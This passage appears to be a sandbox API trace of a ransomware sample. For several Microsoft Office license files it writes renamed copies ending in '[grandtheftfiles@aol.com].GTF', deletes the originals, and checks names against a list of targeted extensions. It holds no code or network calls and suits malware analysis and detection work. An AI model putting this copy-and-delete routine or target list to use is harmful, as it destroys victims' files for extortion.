	[0182.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.389] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.389] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0182.390] GetLastError () returned 0x0
	[0182.390] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d87, lpOverlapped=0x0) returned 1
	[0182.392] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0182.393] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.393] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x126, lpOverlapped=0x0) returned 1
	[0182.393] SetEndOfFile (hFile=0x560) returned 1
	[0182.393] CloseHandle (hObject=0x560) returned 1
	[0182.393] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.393] SetEndOfFile (hFile=0x568) returned 1
	[0182.396] CloseHandle (hObject=0x568) returned 1
	[0182.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms")) returned 1
	[0182.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.397] lstrlenW (lpString=".doc") returned 4
	[0182.397] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.397] lstrlenW (lpString=".docx") returned 5
	[0182.397] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.397] lstrlenW (lpString=".pdf") returned 4
	[0182.397] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.397] lstrlenW (lpString=".xls") returned 4
	[0182.397] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.397] lstrlenW (lpString=".xlsx") returned 5
	[0182.397] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.397] lstrlenW (lpString=".ppt") returned 4
	[0182.397] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.398] lstrlenW (lpString=".zip") returned 4
	[0182.398] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString=".rar") returned 4
	[0182.398] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString=".bz2") returned 4
	[0182.398] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString=".7z") returned 3
	[0182.398] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.398] lstrlenW (lpString=".dbf") returned 4
	[0182.398] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.398] lstrlenW (lpString=".1cd") returned 4
	[0182.398] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.398] lstrlenW (lpString=".jpg") returned 4
	[0182.398] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.398] lstrlenW (lpString=".doc") returned 4
	[0182.398] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString=".docx") returned 5
	[0182.398] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.398] lstrlenW (lpString=".pdf") returned 4
	[0182.398] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString=".xls") returned 4
	[0182.398] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString=".xlsx") returned 5
	[0182.398] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.398] lstrlenW (lpString=".ppt") returned 4
	[0182.398] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.398] lstrlenW (lpString=".zip") returned 4
	[0182.398] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.399] lstrlenW (lpString=".rar") returned 4
	[0182.399] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.399] lstrlenW (lpString=".bz2") returned 4
	[0182.399] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.399] lstrlenW (lpString=".7z") returned 3
	[0182.399] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.399] lstrlenW (lpString=".dbf") returned 4
	[0182.399] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.399] lstrlenW (lpString=".1cd") returned 4
	[0182.399] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms") returned 91
	[0182.399] lstrlenW (lpString=".jpg") returned 4
	[0182.399] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.399] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.399] lstrlenW (lpString="O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 37
	[0182.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.400] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11199) returned 1
	[0182.400] CloseHandle (hObject=0x568) returned 1
	[0182.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms")) returned 0x220
	[0182.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.401] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.401] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0182.401] GetLastError () returned 0x0
	[0182.401] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0182.728] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0182.729] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.729] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0182.729] SetEndOfFile (hFile=0x560) returned 1
	[0182.729] CloseHandle (hObject=0x560) returned 1
	[0182.731] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.731] SetEndOfFile (hFile=0x568) returned 1
	[0182.734] CloseHandle (hObject=0x568) returned 1
	[0182.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms")) returned 1
	[0182.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.735] lstrlenW (lpString=".doc") returned 4
	[0182.735] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".docx") returned 5
	[0182.736] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.736] lstrlenW (lpString=".pdf") returned 4
	[0182.736] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".xls") returned 4
	[0182.736] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".xlsx") returned 5
	[0182.736] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.736] lstrlenW (lpString=".ppt") returned 4
	[0182.736] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.736] lstrlenW (lpString=".zip") returned 4
	[0182.736] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".rar") returned 4
	[0182.736] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".bz2") returned 4
	[0182.736] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".7z") returned 3
	[0182.736] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.736] lstrlenW (lpString=".dbf") returned 4
	[0182.736] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.736] lstrlenW (lpString=".1cd") returned 4
	[0182.736] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.736] lstrlenW (lpString=".jpg") returned 4
	[0182.736] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.736] lstrlenW (lpString=".doc") returned 4
	[0182.736] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".docx") returned 5
	[0182.736] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.736] lstrlenW (lpString=".pdf") returned 4
	[0182.736] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.736] lstrlenW (lpString=".xls") returned 4
	[0182.736] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.737] lstrlenW (lpString=".xlsx") returned 5
	[0182.737] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.737] lstrlenW (lpString=".ppt") returned 4
	[0182.737] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.737] lstrlenW (lpString=".zip") returned 4
	[0182.737] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.737] lstrlenW (lpString=".rar") returned 4
	[0182.737] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.737] lstrlenW (lpString=".bz2") returned 4
	[0182.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.737] lstrlenW (lpString=".7z") returned 3
	[0182.737] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.737] lstrlenW (lpString=".dbf") returned 4
	[0182.737] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.737] lstrlenW (lpString=".1cd") returned 4
	[0182.737] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms") returned 87
	[0182.737] lstrlenW (lpString=".jpg") returned 4
	[0182.737] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.737] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.737] lstrlenW (lpString="OneNoteR_Retail-ppd.xrm-ms") returned 26
	[0182.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.738] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20902) returned 1
	[0182.738] CloseHandle (hObject=0x568) returned 1
	[0182.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms")) returned 0x220
	[0182.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0182.739] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.739] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0182.740] GetLastError () returned 0x0
	[0182.740] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x51a6, lpOverlapped=0x0) returned 1
	[0182.742] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0182.743] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.743] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x108, lpOverlapped=0x0) returned 1
	[0182.743] SetEndOfFile (hFile=0x560) returned 1
	[0182.743] CloseHandle (hObject=0x560) returned 1
	[0182.743] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.743] SetEndOfFile (hFile=0x568) returned 1
	[0182.747] CloseHandle (hObject=0x568) returned 1
	[0182.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms")) returned 1
	[0182.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.748] lstrlenW (lpString=".doc") returned 4
	[0182.748] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.748] lstrlenW (lpString=".docx") returned 5
	[0182.748] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.748] lstrlenW (lpString=".pdf") returned 4
	[0182.748] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.748] lstrlenW (lpString=".xls") returned 4
	[0182.748] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.748] lstrlenW (lpString=".xlsx") returned 5
	[0182.748] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.748] lstrlenW (lpString=".ppt") returned 4
	[0182.748] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.748] lstrlenW (lpString=".zip") returned 4
	[0182.748] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.748] lstrlenW (lpString=".rar") returned 4
	[0182.748] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.748] lstrlenW (lpString=".bz2") returned 4
	[0182.748] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.748] lstrlenW (lpString=".7z") returned 3
	[0182.749] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.749] lstrlenW (lpString=".dbf") returned 4
	[0182.749] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.749] lstrlenW (lpString=".1cd") returned 4
	[0182.749] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.749] lstrlenW (lpString=".jpg") returned 4
	[0182.749] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.749] lstrlenW (lpString=".doc") returned 4
	[0182.749] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString=".docx") returned 5
	[0182.749] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.749] lstrlenW (lpString=".pdf") returned 4
	[0182.749] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString=".xls") returned 4
	[0182.749] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString=".xlsx") returned 5
	[0182.749] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.749] lstrlenW (lpString=".ppt") returned 4
	[0182.749] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.749] lstrlenW (lpString=".zip") returned 4
	[0182.749] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString=".rar") returned 4
	[0182.749] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString=".bz2") returned 4
	[0182.749] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.749] lstrlenW (lpString=".7z") returned 3
	[0182.749] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76
	[0182.750] lstrlenW (lpString=".dbf") returned 4
	[0182.750] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
